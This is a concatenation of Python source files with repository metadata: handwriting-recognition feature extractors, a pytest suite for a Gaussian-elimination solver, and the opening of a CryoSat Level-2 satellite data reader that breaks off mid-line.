False\n\n\n# Local features\n\n\nclass ConstantPointCoordinates(Feature):\n\n    \"\"\"Take the first ``points_per_stroke=20`` points coordinates of the first\n       ``strokes=4`` strokes as features. This leads to\n       :math:`2 \\\\cdot \\\\text{points_per_stroke} \\\\cdot \\\\text{strokes}`\n       features.\n\n       If ``points`` is set to 0, the first ``points_per_stroke`` point\n       coordinates and the ``pen_down`` feature is used. This leads to\n       :math:`3 \\\\cdot \\\\text{points_per_stroke}` features.\n\n    Parameters\n    ----------\n    strokes : int\n    points_per_stroke : int\n    fill_empty_with : float\n    pen_down : boolean\n    pixel_env : int\n        How big should the pixel map around the given point be?\n    \"\"\"\n\n    normalize = False\n\n    def __init__(\n        self,\n        strokes=4,\n        points_per_stroke=20,\n        fill_empty_with=0,\n        pen_down=True,\n        pixel_env=0,\n        scaling_factor=32,\n    ):\n        self.strokes = strokes\n        self.points_per_stroke = points_per_stroke\n        self.fill_empty_with = fill_empty_with\n        self.pen_down = pen_down\n        self.pixel_env = pixel_env\n        self.scaling_factor = scaling_factor\n\n    def __repr__(self):\n        return (\n            \"ConstantPointCoordinates\\n\"\n            \" - strokes: %i\\n\"\n            \" - points per stroke: %i\\n\"\n            \" - fill empty with: %i\\n\"\n            \" - pen down feature: %r\\n\"\n            \" - pixel_env: %i\\n\"\n        ) % (\n            self.strokes,\n            self.points_per_stroke,\n            self.fill_empty_with,\n            self.pen_down,\n            self.pixel_env,\n        )\n\n    def __str__(self):\n        return (\n            \"constant point coordinates\\n\"\n            \" - strokes: %i\\n\"\n            \" - points per stroke: %i\\n\"\n            \" - fill empty with: %i\\n\"\n            \" - pen down feature: %r\\n\"\n            \" - pixel_env: %i\\n\"\n        ) % (\n            self.strokes,\n            self.points_per_stroke,\n            self.fill_empty_with,\n            self.pen_down,\n            self.pixel_env,\n        )\n\n    def get_dimension(self):\n        \"\"\"Get the dimension of the returned feature. This equals the number\n        of elements in the returned list of numbers.\"\"\"\n        if self.strokes > 0:\n            if self.pixel_env > 0:\n                return (\n                    (2 + (1 + 2 * self.pixel_env) ** 2)\n                    * self.strokes\n                    * self.points_per_stroke\n                )\n            else:\n                return 2 * self.strokes * self.points_per_stroke\n        else:\n            if self.pen_down:\n                return 3 * self.points_per_stroke\n            else:\n                return 2 * self.points_per_stroke\n\n    def _features_with_strokes(self, hwr_obj):\n        \"\"\"Calculate the ConstantPointCoordinates features for the case of\n        a fixed number of strokes.\"\"\"\n        x = []\n        img = Image.new(\n            \"L\",\n            (\n                (int(hwr_obj.get_width() * self.scaling_factor) + 2),\n                (int(hwr_obj.get_height() * self.scaling_factor) + 2),\n            ),\n            \"black\",\n        )\n        draw = ImageDraw.Draw(img, \"L\")\n        pointlist = hwr_obj.get_pointlist()\n        bb = hwr_obj.get_bounding_box()\n        for stroke_nr in range(self.strokes):\n            last_point = None\n            # make sure that the current symbol actually has that many\n            # strokes\n            if stroke_nr < len(pointlist):\n                for point_nr in range(self.points_per_stroke):\n                    if point_nr < len(pointlist[stroke_nr]):\n                        point = pointlist[stroke_nr][point_nr]\n                        x.append(pointlist[stroke_nr][point_nr][\"x\"])\n                        x.append(pointlist[stroke_nr][point_nr][\"y\"])\n                        if last_point is None:\n                            last_point = point\n                        y_from = int(\n                            (-bb[\"miny\"] + last_point[\"y\"]) * self.scaling_factor\n                        )\n                        x_from = int(\n                            (-bb[\"minx\"] + last_point[\"x\"]) * self.scaling_factor\n                        )\n                        y_to = int((-bb[\"miny\"] + point[\"y\"]) * self.scaling_factor)\n                        x_to = int((-bb[\"minx\"] + point[\"x\"]) * self.scaling_factor)\n                        draw.line([x_from, y_from, x_to, y_to], fill=\"#ffffff\", width=1)\n                        if self.pixel_env > 0:\n                            pix = img.load()\n                            for x_offset in range(-self.pixel_env, self.pixel_env + 1):\n                                for y_offset in range(\n                                    -self.pixel_env, self.pixel_env + 1\n                                ):\n                                    xp = (\n                                        int(\n                                            (-bb[\"minx\"] + point[\"x\"])\n                                            * self.scaling_factor\n                                        )\n                                        + x_offset\n                                    )\n                                    yp = (\n                                        int(\n                                            (-bb[\"miny\"] + point[\"y\"])\n                                            * self.scaling_factor\n                                        )\n                                        + y_offset\n                                    )\n                                    xp = max(0, xp)\n                                    yp = max(0, yp)\n                                    x.append(pix[xp, yp])\n                        last_point = point\n                    else:\n                        x.append(self.fill_empty_with)\n                        x.append(self.fill_empty_with)\n                        if self.pixel_env > 0:\n                            for _ in range((1 + 2 * self.pixel_env) ** 2):\n                                x.append(self.fill_empty_with)\n            else:\n                for _ in range(self.points_per_stroke):\n                    x.append(self.fill_empty_with)\n                    x.append(self.fill_empty_with)\n                    if self.pixel_env > 0:\n                        for _ in range((1 + 2 * self.pixel_env) ** 2):\n                            x.append(self.fill_empty_with)\n        del draw\n        return x\n\n    def _features_without_strokes(self, hwr_obj):\n        \"\"\"Calculate the ConstantPointCoordinates features for the case of\n        a single (callapesed) stroke with pen_down features.\"\"\"\n        x = []\n        for point in hwr_obj.get_pointlist()[0]:\n            if len(x) >= 3 * self.points_per_stroke or (\n                len(x) >= 2 * self.points_per_stroke and not self.pen_down\n            ):\n                break\n            x.append(point[\"x\"])\n            x.append(point[\"y\"])\n            if self.pen_down:\n                if \"pen_down\" not in point:\n                    logger.error(\n                        \"The \"\n                        \"ConstantPointCoordinates(strokes=0) \"\n                        \"feature should only be used after \"\n                        \"SpaceEvenly preprocessing step.\"\n                    )\n                else:\n                    x.append(int(point[\"pen_down\"]))\n        if self.pen_down:\n            while len(x) != 3 * self.points_per_stroke:\n                x.append(self.fill_empty_with)\n        else:\n            while len(x) != 2 * self.points_per_stroke:\n                x.append(self.fill_empty_with)\n        return x\n\n    def __call__(self, hwr_obj):\n        super(self.__class__, self).__call__(hwr_obj)\n        if self.strokes > 0:\n            x = self._features_with_strokes(hwr_obj)\n        else:\n            x = self._features_without_strokes(hwr_obj)\n        assert self.get_dimension() == len(\n            x\n        ), \"Dimension of %s should be %i, but was %i\" % (\n            str(self),\n            self.get_dimension(),\n            len(x),\n        )\n        return x\n\n\nclass FirstNPoints(Feature):\n\n    \"\"\"Similar to the ``ConstantPointCoordinates`` feature, this feature takes\n    the first ``n=81`` point coordinates. It also has the\n    ``fill_empty_with=0`` to make sure that the dimension of this feature is\n    always the same.\"\"\"\n\n    normalize = False\n\n    def __init__(self, n=81):\n        self.n = n\n\n    def __repr__(self):\n        return f\"FirstNPoints\\n - n: {self.n}\\n\"\n\n    def __str__(self):\n        return f\"first n points\\n - n: {self.n}\\n\"\n\n    def get_dimension(self):\n        \"\"\"Get the dimension of the returned feature. This equals the number\n        of elements in the returned list of numbers.\"\"\"\n        return 2 * self.n\n\n    def __call__(self, hwr_obj):\n        super(self.__class__, self).__call__(hwr_obj)\n        x = []\n        pointlist = hwr_obj.get_pointlist()\n        left = self.n\n        for stroke in pointlist:\n            for point in stroke:\n                if left == 0:\n                    break\n                else:\n                    left -= 1\n                    x.append(point[\"x\"])\n                    x.append(point[\"y\"])\n        assert self.get_dimension() == len(\n            x\n        ), \"Dimension of %s should be %i, but was %i\" % (\n            str(self),\n            self.get_dimension(),\n            len(x),\n        )\n        return x\n\n\n# Global features\n\n\nclass Bitmap(Feature):\n\n    \"\"\"Get a fixed-size bitmap of the recording.\"\"\"\n\n    normalize = True\n\n    def __init__(self, size=16):\n        self.size = size\n\n    def __repr__(self):\n        return \"Bitmap(%i x %i)\" % (self.size, self.size)\n\n    def __str__(self):\n        return \"Bitmap(%i x %i)\" % (self.size, self.size)\n\n    def get_dimension(self):\n        \"\"\"Get the dimension of the returned feature. This equals the number\n        of elements in the returned list of numbers.\"\"\"\n        return self.size ** 2\n\n    def __call__(self, hwr_obj):\n        super(self.__class__, self).__call__(hwr_obj)\n        feat = hwr_obj.get_bitmap(size=self.size).flatten()\n        return list(feat)\n\n\nclass StrokeCount(Feature):\n\n    \"\"\"Stroke count as a 1 dimensional recording.\"\"\"\n\n    normalize = True\n\n    def __repr__(self):\n        return \"StrokeCount\"\n\n    def __str__(self):\n        return \"stroke count\"\n\n    def get_dimension(self):  # pylint: disable=R0201\n        \"\"\"Get the dimension of the returned feature. This equals the number\n        of elements in the returned list of numbers.\"\"\"\n        return 1\n\n    def __call__(self, hwr_obj):\n        super(self.__class__, self).__call__(hwr_obj)\n        return [len(hwr_obj.get_pointlist())]\n\n\nclass Ink(Feature):\n\n    \"\"\"Ink as a 1 dimensional feature. It gives a numeric value for the amount\n    of ink this would eventually have consumed.\n    \"\"\"\n\n    normalize = True\n\n    def __repr__(self):\n        return \"Ink\"\n\n    def __str__(self):\n        return \"ink\"\n\n    def get_dimension(self):  # pylint: disable=R0201\n        \"\"\"Get the dimension of the returned feature. This equals the number\n        of elements in the returned list of numbers.\"\"\"\n        return 1\n\n    def __call__(self, hwr_obj):\n        super(self.__class__, self).__call__(hwr_obj)\n        ink = 0.0\n        # calculate ink used for this symbol\n        # TODO: What about dots? What about speed?\n        for stroke in hwr_obj.get_pointlist():\n            last_point = None\n            for point in stroke:\n                if last_point is not None:\n                    ink += preprocessing.euclidean_distance(last_point, point)\n                last_point = point\n        return [ink]\n\n\nclass AspectRatio(Feature):\n\n    \"\"\"Aspect ratio of a recording as a 1 dimensional feature.\"\"\"\n\n    normalize = True\n\n    def __repr__(self):\n        return \"Aspect Ratio\"\n\n    def __str__(self):\n        return \"Aspect Ratio\"\n\n    def get_dimension(self):  # pylint: disable=R0201\n        \"\"\"Get the dimension of the returned feature. This equals the number\n        of elements in the returned list of numbers.\"\"\"\n        return 1\n\n    def __call__(self, hwr_obj):\n        super(self.__class__, self).__call__(hwr_obj)\n        width = float(hwr_obj.get_width() + 0.01)\n        height = float(hwr_obj.get_height() + 0.01)\n        return [width / height]\n\n\nclass Width(Feature):\n\n    \"\"\"Width of a recording as a 1 dimensional feature.\n\n    .. note::\n\n        This is the current width. So if the recording was scaled, this will\n        not be the original width.\n    \"\"\"\n\n    normalize = True\n\n    def __repr__(self):\n        return \"Width\"\n\n    def __str__(self):\n        return \"Width\"\n\n    def get_dimension(self):  # pylint: disable=R0201\n        \"\"\"Get the dimension of the returned feature. This equals the number\n        of elements in the returned list of numbers.\"\"\"\n        return 1\n\n    def __call__(self, hwr_obj):\n        super(self.__class__, self).__call__(hwr_obj)\n        return [float(hwr_obj.get_width())]\n\n\nclass Height(Feature):\n\n    \"\"\"Height of a recording as a a 1 dimensional feature.\n\n    .. note::\n\n        This is the current hight. So if the recording was scaled, this will\n        not be the original height.\n    \"\"\"\n\n    normalize = True\n\n    def __repr__(self):\n        return \"Height\"\n\n    def __str__(self):\n        return \"Height\"\n\n    def get_dimension(self):  # pylint: disable=R0201\n        \"\"\"Get the dimension of the returned feature. This equals the number\n        of elements in the returned list of numbers.\"\"\"\n        return 1\n\n    def __call__(self, hwr_obj):\n        super(self.__class__, self).__call__(hwr_obj)\n        return [float(hwr_obj.get_height())]\n\n\nclass Time(Feature):\n\n    \"\"\"The time in milliseconds it took to create the recording. This is a 1\n    dimensional feature.\"\"\"\n\n    normalize = True\n\n    def __repr__(self):\n        return \"Time\"\n\n    def __str__(self):\n        return \"Time\"\n\n    def get_dimension(self):  # pylint: disable=R0201\n        \"\"\"Get the dimension of the returned feature. This equals the number\n        of elements in the returned list of numbers.\"\"\"\n        return 1\n\n    def __call__(self, hwr_obj):\n        super(self.__class__, self).__call__(hwr_obj)\n        return [float(hwr_obj.get_time())]\n\n\nclass CenterOfMass(Feature):\n\n    \"\"\"Center of mass of a recording as a 2 dimensional feature.\"\"\"\n\n    normalize = True\n\n    def __repr__(self):\n        return \"CenterOfMass\"\n\n    def __str__(self):\n        return \"Center of mass\"\n\n    def get_dimension(self):  # pylint: disable=R0201\n        \"\"\"Get the dimension of the returned feature. This equals the number\n        of elements in the returned list of numbers.\"\"\"\n        return 2\n\n    def __call__(self, hwr_obj):\n        super(self.__class__, self).__call__(hwr_obj)\n        xs = []\n        ys = []\n        for stroke in hwr_obj.get_pointlist():\n            for point in stroke:\n                xs.append(point[\"x\"])\n                ys.append(point[\"y\"])\n        return [float(sum(xs)) / len(xs), float(sum(ys)) / len(ys)]\n\n\nclass StrokeCenter(Feature):\n\n    \"\"\"Get the stroke center of mass coordinates as a 2 dimensional feature.\"\"\"\n\n    normalize = True\n\n    def __init__(self, strokes=4):\n        self.strokes = strokes\n\n    def __repr__(self):\n        return \"StrokeCenter\"\n\n    def __str__(self):\n        return \"Stroke center\"\n\n    def get_dimension(self):\n        \"\"\"Get the dimension of the returned feature. This equals the number\n        of elements in the returned list of numbers.\"\"\"\n        return self.strokes * 2\n\n    def __call__(self, hwr_obj):\n        super(self.__class__, self).__call__(hwr_obj)\n        feature_vector = []\n        for i, stroke in enumerate(hwr_obj.get_pointlist()):\n            if i >= self.strokes:\n                break\n            xs = []\n            ys = []\n            for point in stroke:\n                xs.append(point[\"x\"])\n                ys.append(point[\"y\"])\n            feature_vector.append(numpy.mean(xs))\n            feature_vector.append(numpy.mean(ys))\n        while len(feature_vector) < self.get_dimension():\n            feature_vector.append(0)\n        return feature_vector\n\n\nclass DouglasPeuckerPoints(Feature):\n\n    \"\"\"Get the number of points which are left after applying the Douglas\n    Peucker line simplification algorithm.\n    \"\"\"\n\n    normalize = True\n\n    def __init__(self, epsilon=0.2):\n        self.epsilon = epsilon\n\n    def __repr__(self):\n        return \"DouglasPeuckerPoints\"\n\n    def __str__(self):\n        return \"DouglasPeucker Points\"\n\n    def get_dimension(self):\n        \"\"\"Get the dimension of the returned feature. This equals the number\n        of elements in the returned list of numbers.\"\"\"\n        return 1\n\n    def _stroke_simplification(self, pointlist):\n        \"\"\"The Douglas-Peucker line simplification takes a list of points as an\n        argument. It tries to simplifiy this list by removing as many points\n        as possible while still maintaining the overall shape of the stroke.\n        It does so by taking the first and the last point, connecting them\n        by a straight line and searchin for the point with the highest\n        distance. If that distance is bigger than 'epsilon', the point is\n        important and the algorithm continues recursively.\"\"\"\n\n        # Find the point with the biggest distance\n        dmax = 0\n        index = 0\n        for i in range(1, len(pointlist)):\n            d = geometry.perpendicular_distance(\n                pointlist[i], pointlist[0], pointlist[-1]\n            )\n            if d > dmax:\n                index = i\n                dmax = d\n\n        # If the maximum distance is bigger than the threshold 'epsilon', then\n        # simplify the pointlist recursively\n        if dmax >= self.epsilon:\n            # Recursive call\n            rec_results1 = self._stroke_simplification(pointlist[0:index])\n            rec_results2 = self._stroke_simplification(pointlist[index:])\n            result_list = rec_results1[:-1] + rec_results2\n        else:\n            result_list = [pointlist[0], pointlist[-1]]\n\n        return result_list\n\n    def __call__(self, hwr_obj):\n        super(self.__class__, self).__call__(hwr_obj)\n        dp_points = 0\n        for stroke in hwr_obj.get_pointlist():\n            points = self._stroke_simplification(stroke)\n            dp_points += len(points)\n        return [dp_points]\n\n\nclass StrokeIntersections(Feature):\n    \"\"\"Count the number of intersections which strokes in the recording have\n       with each other in form of a symmetrical matrix for the first\n       ``stroke=4`` strokes. The feature dimension is\n       :math:`round(\\\\frac{\\\\text{strokes}^2}{2} + \\\\frac{\\\\text{strokes}}{2})`\n       because the symmetrical part is discarded.\n\n    =======   ======= ======= ======= ===\n      -       stroke1 stroke2 stroke3\n    -------   ------- ------- ------- ---\n    stroke1     0        1      0     ...\n    stroke2     1        2      0     ...\n    stroke3     0        0      0     ...\n    ...         ...      ...    ...   ...\n    =======   ======= ======= ======= ===\n\n    Returns values of upper triangular matrix (including diagonal)\n    from left to right, top to bottom.\n\n    ..warning\n\n        This method has an error. It should probably not be used.\n    \"\"\"\n\n    normalize = True\n\n    def __init__(self, strokes=4):\n        self.strokes = strokes\n\n    def __repr__(self):\n        return \"StrokeIntersections\"\n\n    def __str__(self):\n        return \"StrokeIntersections\"\n\n    def get_dimension(self):\n        \"\"\"Get the dimension of the returned feature. This equals the number\n        of elements in the returned list of numbers.\"\"\"\n        return int(round(float(self.strokes ** 2) / 2 + float(self.strokes) / 2))\n\n    def __call__(self, hwr_obj):\n        super(self.__class__, self).__call__(hwr_obj)\n\n        pointlist = hwr_obj.get_pointlist()\n        polygonal_chains = []\n\n        # Make sure the dimension is correct\n        for i in range(self.strokes):\n            if i < len(pointlist):\n                polygonal_chains.append(geometry.PolygonalChain(pointlist[i]))\n            else:\n                polygonal_chains.append(geometry.PolygonalChain([]))\n\n        x = []\n        for chainA, chainB in combinations_wr(polygonal_chains, 2):\n            if chainA == chainB:\n                x.append(chainA.count_selfintersections())\n            else:\n                x.append(chainA.count_intersections(chainB))\n\n        assert self.get_dimension() == len(\n            x\n        ), \"Dimension of %s should be %i, but was %i\" % (\n            str(self),\n            self.get_dimension(),\n            len(x),\n        )\n        return x\n\n\nclass ReCurvature(Feature):\n\n    \"\"\"Re-curvature is a 1 dimensional, stroke-global feature for a recording.\n    It is the ratio\n    :math:`\\\\frac{\\\\text{height}(s)}{\\\\text{length}(s)}`.\n    If ``length(s) == 0``, then the re-curvature is defined to be 1.\n    \"\"\"\n\n    normalize = True\n\n    def __init__(self, strokes=4):\n        assert strokes > 0, \"This attribute has to be positive, but was %s\" % str(\n            strokes\n        )\n        self.strokes = strokes\n\n    def __repr__(self):\n        return \"ReCurvature\"\n\n    def __str__(self):\n        return \"Re-curvature\"\n\n    def get_dimension(self):\n        \"\"\"Get the dimension of the returned feature. This equals the number\n        of elements in the returned list of numbers.\"\"\"\n        return self.strokes\n\n    def __call__(self, hwr_obj):\n        super(self.__class__, self).__call__(hwr_obj)\n        x = []\n        for stroke in hwr_obj.get_pointlist():\n            stroke_y = [point[\"y\"] for point in stroke]\n            height = max(stroke_y) - min(stroke_y)\n            length = 0.0\n            for last_point, point in zip(stroke, stroke[1:]):\n                length += preprocessing.euclidean_distance(point, last_point)\n\n            if length == 0:\n                x.append(1)\n            else:\n                x.append(height / length)\n            if len(x) == self.strokes:\n                break\n        while len(x) < self.strokes:\n            x.append(0)\n        assert self.get_dimension() == len(\n            x\n        ), \"Dimension of %s should be %i, but was %i\" % (\n            str(self),\n            self.get_dimension(),\n            len(x),\n        )\n        return x\n", "meta": {"hexsha": "ddc6fba39e2884441d6015cadffdc8b157512ecc", "size": 25625, "ext": "py", "lang": "Python", "max_stars_repo_path": "hwrt/features.py", "max_stars_repo_name": "MartinThoma/hwrt", "max_stars_repo_head_hexsha": "7b274fa3022292bb1215eaec99f1826f64f98a07", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 65, "max_stars_repo_stars_event_min_datetime": "2015-04-08T12:11:22.000Z", "max_stars_repo_stars_event_max_datetime": "2022-02-28T23:46:53.000Z", "max_issues_repo_path": "hwrt/features.py", "max_issues_repo_name": "MartinThoma/hwrt", "max_issues_repo_head_hexsha": "7b274fa3022292bb1215eaec99f1826f64f98a07", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 35, "max_issues_repo_issues_event_min_datetime": "2015-01-05T11:56:30.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-12T00:55:38.000Z", "max_forks_repo_path": "hwrt/features.py", "max_forks_repo_name": "MartinThoma/hwrt", "max_forks_repo_head_hexsha": "7b274fa3022292bb1215eaec99f1826f64f98a07", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 18, "max_forks_repo_forks_event_min_datetime": "2015-01-19T15:57:25.000Z", "max_forks_repo_forks_event_max_datetime": "2021-02-15T20:38:32.000Z", "avg_line_length": 31.5578817734, "max_line_length": 88, "alphanum_fraction": 0.554302439, "include": true, "reason": "import numpy", "num_tokens": 5699, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4960938294709195, "lm_q2_score": 0.11124120208786166, "lm_q1q2_score": 0.05518607393871574}}
{"text": "#!/usr/bin/env python3\n\"\"\"Contains routines to test the solvers module\"\"\"\n\nimport os.path\nimport pytest\nimport numpy as np\nimport linsolver.solvers as solvers\nimport linsolver.io as io\n\n\nABSOLUTE_TOLERANCE = 1e-10\nRELATIVE_TOLERANCE = 1e-10\n\nTESTDATADIR = 'testdata'\n\nTESTS = ['simple', 'needs_pivot', 'linearly_dependant', 'multiple']\n\n\ndef get_test_input(testname):\n    \"Reads the input for a given test.\"\n    testinfile = os.path.join(TESTDATADIR, testname + '.in')\n    aa, bb = io.read_input(testinfile)\n    return aa, bb\n\n\ndef get_test_output(testname):\n    \"Reads the reference ouput for a given test.\"\n    testoutfile = os.path.join(TESTDATADIR, testname + '.out')\n    result = io.read_result(testoutfile)\n    return result\n\n\n@pytest.mark.parametrize(\"testname\", TESTS)\ndef test_elimination(testname):\n    \"Tests elimination.\"\n    aa, bb = get_test_input(testname)\n    xx_expected = get_test_output(testname)\n    if xx_expected is None:\n        # Linear system of equations can not be solved -> expecting exception\n        with pytest.raises(np.linalg.LinAlgError):\n            solvers.gaussian_eliminate(aa, bb)\n    else:\n        xx_gauss = solvers.gaussian_eliminate(aa, bb)\n        # Make sure, both vectors are row vectors so that they can be compared\n        if len(xx_expected.shape) == 1:\n            xx_expected.shape = (1, xx_expected.shape[0])\n        xx_expected = xx_expected.transpose()\n        xx_gauss.shape = (xx_gauss.shape[0], -1)\n        assert np.allclose(xx_gauss, xx_expected, atol=ABSOLUTE_TOLERANCE,\n                           rtol=RELATIVE_TOLERANCE)\n\n\nif __name__ == '__main__':\n    pytest.main()\n", "meta": {"hexsha": "b5d9e40ee6f47d06c87766c8fb1735d661ffdb0c", "size": 1630, "ext": "py", "lang": "Python", "max_stars_repo_path": "test_solvers.py", "max_stars_repo_name": "aradi/linsolve2", "max_stars_repo_head_hexsha": "e3d3fe3a41d7668552c68ea0db9e4b649f6d0221", "max_stars_repo_licenses": ["BSD-2-Clause"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "test_solvers.py", "max_issues_repo_name": "aradi/linsolve2", "max_issues_repo_head_hexsha": "e3d3fe3a41d7668552c68ea0db9e4b649f6d0221", "max_issues_repo_licenses": ["BSD-2-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "test_solvers.py", "max_forks_repo_name": "aradi/linsolve2", "max_forks_repo_head_hexsha": "e3d3fe3a41d7668552c68ea0db9e4b649f6d0221", "max_forks_repo_licenses": ["BSD-2-Clause"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2020-06-30T07:47:14.000Z", "max_forks_repo_forks_event_max_datetime": "2020-06-30T07:47:14.000Z", "avg_line_length": 29.6363636364, "max_line_length": 78, "alphanum_fraction": 0.6889570552, "include": true, "reason": "import numpy", "num_tokens": 416, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.49609382947091946, "lm_q2_score": 0.11124119914140751, "lm_q1q2_score": 0.055186072476998006}}
{"text": "#!/usr/bin/env python\r\nu\"\"\"\r\nread_cryosat_L2.py\r\nWritten by Tyler Sutterley (10/2018)\r\n\r\nReads CryoSat Level-2 data products from baselines A, B and C\r\nSupported CryoSat Modes: LRM, SAR, SARin, FDM, SID, GDR\r\n\r\nINPUTS:\r\n\tfull_filename: full path of CryoSat .DBL file\r\n\r\nOUTPUTS:\r\n\tData_1Hz: Time and Orbit Parameters\r\n\tCorrections: Elevation Corrections and Flags\r\n\tData_20Hz: Geolocation and Elevation Measurements with Quality Parameters\r\n\tMETADATA: MPH, SPH and DSD Header data\r\n\r\nUPDATE HISTORY:\r\nUpdated 10/2018: updated header read functions for python3\r\nUpdated 11/2016: added Abs_Orbit and Ascending_Flg to Data_1Hz outputs\r\n\tAbs_Orbit should be same as in read_cryosat_ground_tracks.py\r\n\tAscending_Flg can use in surface regression fits following McMillan (2014)\r\nUpdated 05/2016: using __future__ print and division functions\r\nWritten 03/2016\r\n\"\"\"\r\nfrom __future__ import print_function\r\nfrom __future__ import division\r\n\r\nimport os\r\nimport re\r\nimport numpy as np\r\n\r\n#-- PURPOSE: Initiate L2 MDS variables for CryoSat Baselines A and B\r\ndef cryosat_baseline_AB(fid,record_size,n_records):\r\n\t#-- CryoSat-2 1 Hz data fields (Location Group)\r\n\t#-- Time and Orbit Parameters plus Measurement Mode\r\n\tL2_1Hz_parameters = {}\r\n\t#-- Time: day part\r\n\tL2_1Hz_parameters['Day'] = np.zeros((n_records),dtype=np.int32)\r\n\t#-- Time: second part\r\n\tL2_1Hz_parameters['Second'] = np.zeros((n_records),dtype=np.int32)\r\n\t#-- Time: microsecond part\r\n\tL2_1Hz_parameters['Micsec'] = np.zeros((n_records),dtype=np.int32)\r\n\t#-- SIRAL mode\r\n\tL2_1Hz_parameters['Siral_mode'] = np.zeros((n_records),dtype=np.uint64)\r\n\t#-- Lat_1Hz: packed units (0.1 micro-degree, 1e-7 degrees)\r\n\tL2_1Hz_parameters['Lat_1Hz'] = np.zeros((n_records),dtype=np.int32)\r\n\t#-- Lon_1Hz: packed units (0.1 micro-degree, 1e-7 degrees)\r\n\tL2_1Hz_parameters['Lon_1Hz'] = np.zeros((n_records),dtype=np.int32)\r\n\t#-- Alt_1Hz: packed units (mm, 1e-3 m)\r\n\t#-- Altitude of COG above reference ellipsoid (interpolated value)\r\n\tL2_1Hz_parameters['Alt_1Hz'] = np.zeros((n_records),dtype=np.int32)\r\n\t#-- Mispointing: packed units (millidegrees, 1e-3 degrees)\r\n\tL2_1Hz_parameters['Mispointing'] = np.zeros((n_records),dtype=np.int16)\r\n\t#-- Number of valid records in the block of twenty that contain data\r\n\t#-- Last few records of the last block of a dataset may be blank blocks\r\n\t#-- inserted to bring the file up to a multiple of twenty.\r\n\tL2_1Hz_parameters['N_valid'] = np.zeros((n_records),dtype=np.int16)\r\n\r\n\t#-- CryoSat-2 geophysical corrections (External Corrections Group)\r\n\tL2_final_corrections = {}\r\n\t#-- Dry Tropospheric Correction packed units (mm, 1e-3 m)\r\n\tL2_final_corrections['dryTrop'] = np.zeros((n_records),dtype=np.int16)\r\n\t#-- Wet Tropospheric Correction packed units (mm, 1e-3 m)\r\n\tL2_final_corrections['wetTrop'] = np.zeros((n_records),dtype=np.int16)\r\n\t#-- Inverse Barometric Correction packed units (mm, 1e-3 m)\r\n\tL2_final_corrections['InvBar'] = np.zeros((n_records),dtype=np.int16)\r\n\t#-- Dynamic Atmosphere Correction packed units (mm, 1e-3 m)\r\n\tL2_final_corrections['DynAtm'] = np.zeros((n_records),dtype=np.int16)\r\n\t#-- Ionospheric Correction packed units (mm, 1e-3 m)\r\n\tL2_final_corrections['Iono'] = np.zeros((n_records),dtype=np.int16)\r\n\t#-- Sea State Bias Correction packed units (mm, 1e-3 m)\r\n\tL2_final_corrections['SSB'] = np.zeros((n_records),dtype=np.int16)\r\n\t#-- Ocean tide Correction packed units (mm, 1e-3 m)\r\n\tL2_final_corrections['ocTideElv'] = np.zeros((n_records),dtype=np.int16)\r\n\t#-- Long period equilibrium ocean tide Correction packed units (mm, 1e-3 m)\r\n\tL2_final_corrections['lpeTideElv'] = np.zeros((n_records),dtype=np.int16)\r\n\t#-- Ocean loading tide Correction packed units (mm, 1e-3 m)\r\n\tL2_final_corrections['olTideElv'] = np.zeros((n_records),dtype=np.int16)\r\n\t#-- Solid Earth tide Correction packed units (mm, 1e-3 m)\r\n\tL2_final_corrections['seTideElv'] = np.zeros((n_records),dtype=np.int16)\r\n\t#-- Geocentric Polar tide Correction packed units (mm, 1e-3 m)\r\n\tL2_final_corrections['gpTideElv'] = np.zeros((n_records),dtype=np.int16)\r\n\tL2_final_corrections['Spare1'] = np.zeros((n_records),dtype=np.int16)\r\n\t#-- Surface Type: Packed in groups of three bits for each of the 20 records\r\n\tL2_final_corrections['Surf_type'] = np.zeros((n_records),dtype=np.uint64)\r\n\t#-- Mean Sea Surface or Geoid packed units (mm, 1e-3 m)\r\n\tL2_final_corrections['MSS_Geoid'] = np.zeros((n_records),dtype=np.int32)\r\n\t#-- Ocean Depth/Land Elevation Model (ODLE) packed units (mm, 1e-3 m)\r\n\tL2_final_corrections['ODLE'] = np.zeros((n_records),dtype=np.int32)\r\n\t#-- Ice Concentration packed units (%/100)\r\n\tL2_final_corrections['Ice_conc'] = np.zeros((n_records),dtype=np.int16)\r\n\t#-- Snow Depth packed units (mm, 1e-3 m)\r\n\tL2_final_corrections['Snow_depth'] = np.zeros((n_records),dtype=np.int16)\r\n\t#-- Snow Density packed units (kg/m^3)\r\n\tL2_final_corrections['Snow_density'] = np.zeros((n_records),dtype=np.int16)\r\n\tL2_final_corrections['Spare2'] = np.zeros((n_records),dtype=np.int16)\r\n\t#-- Corrections Status Flag\r\n\tL2_final_corrections['C_status'] = np.zeros((n_records),dtype=np.uint32)\r\n\t#-- Significant Wave Height (SWH) packed units (mm, 1e-3)\r\n\tL2_final_corrections['SWH'] = np.zeros((n_records),dtype=np.int16)\r\n\t#-- Wind Speed packed units (mm/s, 1e-3 m/s)\r\n\tL2_final_corrections['Wind_speed'] = np.zeros((n_records),dtype=np.uint16)\r\n\tL2_final_corrections['Spare3'] = np.zeros((n_records),dtype=np.int16)\r\n\tL2_final_corrections['Spare4'] = np.zeros((n_records),dtype=np.int16)\r\n\tL2_final_corrections['Spare5'] = np.zeros((n_records),dtype=np.int16)\r\n\tL2_final_corrections['Spare6'] = np.zeros((n_records),dtype=np.int16)\r\n\r\n\t#-- CryoSat-2 20 Hz data fields (Measurement Group)\r\n\t#-- Derived from instrument measurement parameters\r\n\tn_blocks = 20\r\n\tL2_final_measurements = {}\r\n\t#-- Delta between the timestamps for 20Hz record and the 1Hz record\r\n\t#-- D_time_mics packed units (microseconds)\r\n\tL2_final_measurements['D_time_mics'] = np.zeros((n_records,n_blocks),dtype=np.int32)\r\n\t#-- Lat: packed units (0.1 micro-degree, 1e-7 degrees)\r\n\tL2_final_measurements['Lat'] = 